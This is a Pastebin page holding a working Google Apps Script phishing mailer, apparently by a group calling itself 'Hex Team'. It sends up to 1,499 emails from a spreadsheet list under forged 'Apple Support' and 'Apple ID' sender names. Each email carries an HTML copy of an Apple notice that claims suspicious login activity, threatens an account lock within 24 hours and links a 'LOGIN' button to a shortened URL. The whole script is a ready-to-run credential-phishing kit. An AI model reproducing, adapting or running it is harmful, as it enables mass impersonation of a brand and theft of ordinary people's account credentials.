Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function myFunction() {
- }
- // function sendEmails() {
- function myFunction() {
- var sheet = SpreadsheetApp.getActiveSheet();
- ////// Config //////////////////
- // ==========================================================================//
- var totalMailist = 1499; // Jumlah email yang akan di send
- var useAttach = "no"; // yes = untuk menggunakan attachment (pdf) | no = untuk tidak
- var randName = "Yes"; // yes = untuk menggunakan random name | no = untuk tidak
- var randSubject = "no"; // yes = untuk menggunakan random subject | no = untuk tidak
- var linkFile = ""; // isi dengan parameter terakhir link pdf (pada google drive)
- // var message di isi dengan letter
- // Masukan list From Name disini dengan format array
- var fromList = [
- "Apple Support",
- "Apple ID",
- "Apple Service"
- ];
- // Masukan list Subject disini dengan format array
- var subjectList = [
- "Action Required - Please review your account",
- "Important Notice - Please review your account",
- "Action Required! Please review your account"
- ];
- // ==========================================================================//
- var startRow = 1;
- var ab = startRow;
- var cd = totalMailist+1;
- var dataRange = sheet.getRange(startRow, ab, totalMailist, cd)
- var data = dataRange.getValues();
- ////// Sending Mail //////////////////
- // ==========================================================================//
- for (i in data) {
- var row = data[i];
- var emailAddress = row[0]; // First column
- if(randName == "yes"){
- var x = Math.floor((Math.random() * 3) + 0); // angka 3 menyesuaikan dengan jumlah fromname nya ya
- var fromName = fromList[x];
- } else {
- var fromName = "Apple";
- }
- if(randSubject == "yes"){
- var x = Math.floor((Math.random() * 3) + 0); // angka 3 menyesuaikan dengan jumlah subject nya ya
- var subject = subjectList[x];
- } else {
- var subject = "Re: [ Notification Alert ] Please review your Apple account activity on ##date##";
- }
- var message = "<p><!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'><html xmlns='http://www.w3.org/1999/xhtml'> <head> <meta http-equiv='Content-Type' content='text/html; charset=utf-8'/> <meta name='viewport' content='width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no'> <style type='text/css'> .ExternalClass,.ExternalClass div,.ExternalClass font,.ExternalClass p,.ExternalClass span,.ExternalClass td,h1,img{line-height:100%}h1,h2{display:block;font-family:Helvetica;font-style:normal;font-weight:700}#outlook a{padding:0}.ExternalClass,.ReadMsgBody{width:100%}a,blockquote,body,li,p,table,td{-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%}table,td{mso-table-lspace:0;mso-table-rspace:0}img{-ms-interpolation-mode:bicubic;border:0;height:auto;outline:0;text-decoration:none}table{border-collapse:collapse!important}#bodyCell,#bodyTable,body{height:100%!important;margin:0;padding:0;width:100%!important}#bodyCell{padding:20px;}#templateContainer{width:600px;border:1px solid #ddd;background-color:#fff}#bodyTable,body{background-color:#FAFAFA}h1{color:#202020!important;font-size:26px;letter-spacing:normal;text-align:left;margin:0 0 10px}h2{color:#404040!important;font-size:20px;line-height:100%;letter-spacing:normal;text-align:left;margin:0 0 10px}h3,h4{display:block;font-style:italic;font-weight:400;letter-spacing:normal;text-align:left;margin:0 0 10px;font-family:Helvetica;line-height:100%}h3{color:#606060!important;font-size:16px}h4{color:grey!important;font-size:14px}.headerContent{background-color:#f8f8f8;border-bottom:1px solid #ddd;color:#505050;font-family:Helvetica;font-size:20px;font-weight:700;line-height:100%;text-align:left;vertical-align:middle;padding:0}.bodyContent,.footerContent{font-family:Helvetica;line-height:150%;text-align:left;}.footerContent{text-align:center}.bodyContent pre{padding:15px;background-color:#444;color:#f8f8f8;border:0}.bodyContent pre code{white-space:pre;word-break:normal;word-wrap:normal}.bodyContent table{margin:10px 0;background-color:#fff;border:1px solid #ddd}.bodyContent table th{padding:4px 10px;background-color:#f8f8f8;border:1px solid #ddd;font-weight:700;text-align:center}.bodyContent table td{padding:3px 8px;border:1px solid #ddd}.table-responsive{border:0}.bodyContent a{word-break:break-all}.headerContent a .yshortcuts,.headerContent a:link,.headerContent a:visited{color:#1f5d8c;font-weight:400;text-decoration:underline}#headerImage{height:auto;max-width:600px;padding:20px}#templateBody{background-color:#fff}.bodyContent{color:#505050;font-size:14px;padding:20px}.bodyContent a .yshortcuts,.bodyContent a:link,.bodyContent a:visited{color:#1f5d8c;font-weight:400;text-decoration:underline}.bodyContent a:hover{text-decoration:none}.bodyContent img{display:inline;height:auto;max-width:560px}.footerContent{color:grey;font-size:12px;padding:20px}.footerContent a .yshortcuts,.footerContent a span,.footerContent a:link,.footerContent a:visited{color:#606060;font-weight:400;text-decoration:underline}@media only screen and (max-width:640px){h1,h2,h3,h4{line-height:100%!important}#templateContainer{max-width:600px!important;width:100%!important}#templateContainer,body{width:100%!important}a,blockquote,body,li,p,table,td{-webkit-text-size-adjust:none!important}body{min-width:100%!important}#bodyCell{padding:10px!important}h1{font-size:24px!important}h2{font-size:20px!important}h3{font-size:18px!important}h4{font-size:16px!important}#templatePreheader{display:none!important}.headerContent{font-size:20px!important;line-height:125%!important}.footerContent{font-size:14px!important;line-height:115%!important}.footerContent a{display:block!important}.hide-mobile{display:none;}}</style> </head> <body leftmargin='0' marginwidth='0' topmargin='0' marginheight='0' offset='0'> <center> <table align='center' border='0' cellpadding='0' cellspacing='0' height='100%' width='100%' id='bodyTable'> <tr> <td align='center' valign='top' id='bodyCell'> <table border='0' cellpadding='0' cellspacing='0' id='templateContainer'> <tr> <td align='center' valign='top'> <table border='0' cellpadding='0' cellspacing='0' width='100%' id='templateHeader'> <tr> <td valign='top' class='headerContent'> <a href='https://statici.icloud.com/emailimages/v4/common/apple_logo_web@2x.png'> <img src='https://statici.icloud.com/emailimages/v4/common/apple_logo_web@2x.png' align='right'style='max-width:25px;padding:20px' id='headerImage' alt=''/> </td></tr></table> </td></tr><tr> <td align='center' valign='top'> <table border='0' cellpadding='0' cellspacing='0' width='100%' id='templateBody'> <tr> <td valign='top' class='bodyContent'><p><b>Dear ##email##,</b></p><p>There was suspicious activity in your Apple ID.</p><p><b>Login Details: </b></p><p>Date : ##date##<br>Browser : ##random_browser##<br>Operating system : ##random_os##<br>Country : ##random_country##<br><br>Your account will be protected until you confirm this message within 24 hours.</p><p>If we do not receive the information by the deadline, you can permanently lock access to your account. Please click the <b>LOGIN</b> button to verify your account.</p><p><p> .</p><P style='TEXT-ALIGN: center' align=center><A style='PADDING-BOTTOM: 5px; LINE-HEIGHT: 30px; BACKGROUND-COLOR: rgb(75,72,72); MIN-HEIGHT: 15px; PADDING-LEFT: 10px; WIDTH: 100px; PADDING-RIGHT: 10px; DISPLAY: inline-block; FONT-FAMILY: helvetica neue; COLOR: rgb(255,255,255); FONT-WEIGHT: bold; PADDING-TOP: 5px; border-radius: 3px' href='##short##' name=x_x_x_CTA rel=nofollow target=_blank>LOGIN</A></p><br/>Sincerely,<br/><p></p><b>Apple Support.</b></p></td></tr></table> </td></tr><tr> <td align='center' valign='top'> <table border='0' cellpadding='0' cellspacing='0' width='100%' id='templateFooter'> <tr> <td valign='top' class='footerContent'> <p><span style='color: #0000ff;'>Apple ID</span> | <span style='color: #0000ff;'>Support</span> | <span style='color: #0000ff;'>Privacy Policy</span></p>Copyright © 2018 Apple Inc. One Apple Park Way, Cupertino, CA 95014, United States. All Right Reserved. </td></tr></table> </td></tr></table> </td></tr></table> </center> </body></html>";
- var today = new Date()
- var months = ["January","February","March","April","May","June","July","August","September","October","November","December"];
- var tgl = ["01","02","03","04","05","06","07","08","09","10","11","12","13","14","15","16","17","18","19","20","21","22","23","24","25","26","27","28","29","31"];
- var zx = (tgl[today.getDate()])+' '+(months[today.getMonth()])+' '+today.getFullYear();
- var ade = message.replace("##date##", zx);
- var sbj = subject.replace("##date##", zx);
- var co = ["Afghanistan", "Albania", "Algeria", "American Samoa", "Andorra", "Angola", "Anguilla", "Antarctica", "Antigua and Barbuda", "Argentina", "Armenia", "Aruba", "Australia", "Austria", "Azerbaijan", "Bahamas", "Bahrain", "Bangladesh", "Barbados", "Belarus", "Belgium", "Belize", "Benin", "Bermuda", "Bhutan", "Bolivia", "Bosnia and Herzegowina", "Botswana", "Bouvet Island", "Brazil", "British Indian Ocean Territory", "Brunei Darussalam", "Bulgaria", "Burkina Faso", "Burundi", "Cambodia", "Cameroon", "Canada", "Cape Verde", "Cayman Islands", "Central African Republic", "Chad", "Chile", "China", "Christmas Island", "Cocos (Keeling) Islands", "Colombia", "Comoros", "Congo", "Congo, the Democratic Republic of the", "Cook Islands", "Costa Rica", "Cote d'Ivoire", "Croatia (Hrvatska)", "Cuba", "Cyprus", "Czech Republic", "Denmark", "Djibouti", "Dominica", "Dominican Republic", "East Timor", "Ecuador", "Egypt", "El Salvador", "Equatorial Guinea", "Eritrea", "Estonia", "Ethiopia", "Falkland Islands (Malvinas)", "Faroe Islands", "Fiji", "Finland", "France", "France Metropolitan", "French Guiana", "French Polynesia", "French Southern Territories", "Gabon", "Gambia", "Georgia", "Germany", "Ghana", "Gibraltar", "Greece", "Greenland", "Grenada", "Guadeloupe", "Guam", "Guatemala", "Guinea", "Guinea-Bissau", "Guyana", "Haiti", "Heard and Mc Donald Islands", "Honduras", "Hong Kong", "Hungary", "Iceland", "India", "Indonesia", "Iran (Islamic Republic of)", "Iraq", "Ireland", "Israel", "Italy", "Jamaica", "Japan", "Jordan", "Kazakhstan", "Kenya", "Kiribati", "Korea, Democratic People's Republic of", "Korea, Republic of", "Kuwait", "Kyrgyzstan", "Lao, People's Democratic Republic", "Latvia", "Lebanon", "Lesotho", "Liberia", "Libyan Arab Jamahiriya", "Liechtenstein", "Lithuania", "Luxembourg", "Macau", "Macedonia, The Former Yugoslav Republic of", "Madagascar", "Malawi", "Malaysia", "Maldives", "Mali", "Malta", "Marshall Islands", "Martinique", "Mauritania", "Mauritius", "Mayotte", "Mexico", "Micronesia, Federated States of", "Moldova, Republic of", "Monaco", "Mongolia", "Montserrat", "Morocco", "Mozambique", "Myanmar", "Namibia", "Nauru", "Nepal", "Netherlands", "Netherlands Antilles", "New Caledonia", "New Zealand", "Nicaragua", "Niger", "Nigeria", "Niue", "Norfolk Island", "Northern Mariana Islands", "Norway", "Oman", "Pakistan", "Palau", "Panama", "Papua New Guinea", "Paraguay", "Peru", "Philippines", "Pitcairn", "Poland", "Portugal", "Puerto Rico", "Qatar", "Reunion", "Romania", "Russian Federation", "Rwanda", "Saint Kitts and Nevis", "Saint Lucia", "Saint Vincent and the Grenadines", "Samoa", "San Marino", "Sao Tome and Principe", "Saudi Arabia", "Senegal", "Seychelles", "Sierra Leone", "Singapore", "Slovakia (Slovak Republic)", "Slovenia", "Solomon Islands", "Somalia", "South Africa", "South Georgia and the South Sandwich Islands", "Spain", "Sri Lanka", "St. Helena", "St. Pierre and Miquelon", "Sudan", "Suriname", "Svalbard and Jan Mayen Islands", "Swaziland", "Sweden", "Switzerland", "Syrian Arab Republic", "Taiwan, Province of China", "Tajikistan", "Tanzania, United Republic of", "Thailand", "Togo", "Tokelau", "Tonga", "Trinidad and Tobago", "Tunisia", "Turkey", "Turkmenistan", "Turks and Caicos Islands", "Tuvalu", "Uganda", "Ukraine", "United Arab Emirates", "United Kingdom", "United States", "United States Minor Outlying Islands", "Uruguay", "Uzbekistan", "Vanuatu", "Venezuela", "Vietnam", "Virgin Islands (British)", "Virgin Islands (U.S.)", "Wallis and Futuna Islands", "Western Sahara", "Yemen", "Yugoslavia", "Zambia", "Zimbabwe"];
- var adem = ade.replace("##random_country##", co[Math.floor(Math.random()*co.length)]);
- var asu = adem.replace("##email##", emailAddress);
- var sss = ['Windows 10', 'Windows 8.1', 'Windows 8', 'Windows 7', 'Mac OS X', 'Mac OS 9', 'Linux', 'Ubuntu', 'iPhone', 'iPod', 'iPad', 'Android'];
- var ss = asu.replace("##random_os##", sss[Math.floor(Math.random()*sss.length)]);
- var lin = ["https://lihi.cc/cWBQ3"];
- var linz = ss.replace("##short##", lin[Math.floor(Math.random()*lin.length)]);
- var bro = ['Mozilla Firefox', 'Safari', 'Chrome', 'Microsoft Edge'];
- var brw = linz.replace("##random_browser##", bro[Math.floor(Math.random()*bro.length)]);
- if(useAttach == "yes"){
- var file = DriveApp.getFileById(linkFile);
- MailApp.sendEmail(emailAddress, sbj, brw, {name: fromName , attachments: [file.getAs(MimeType.PDF)]});
- } else {
- MailApp.sendEmail(emailAddress, sbj, "", {htmlBody: brw, name: fromName});
- }
- }
- var limitSMTP = MailApp.getRemainingDailyQuota();
- Logger.log("==> Limit SMTP tersisa : " + limitSMTP +" Email(s)"); // tekan CTRL + Enter untuk melihat log
- }
- // Not For Sale Bitch // Coder By Hex Team //
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
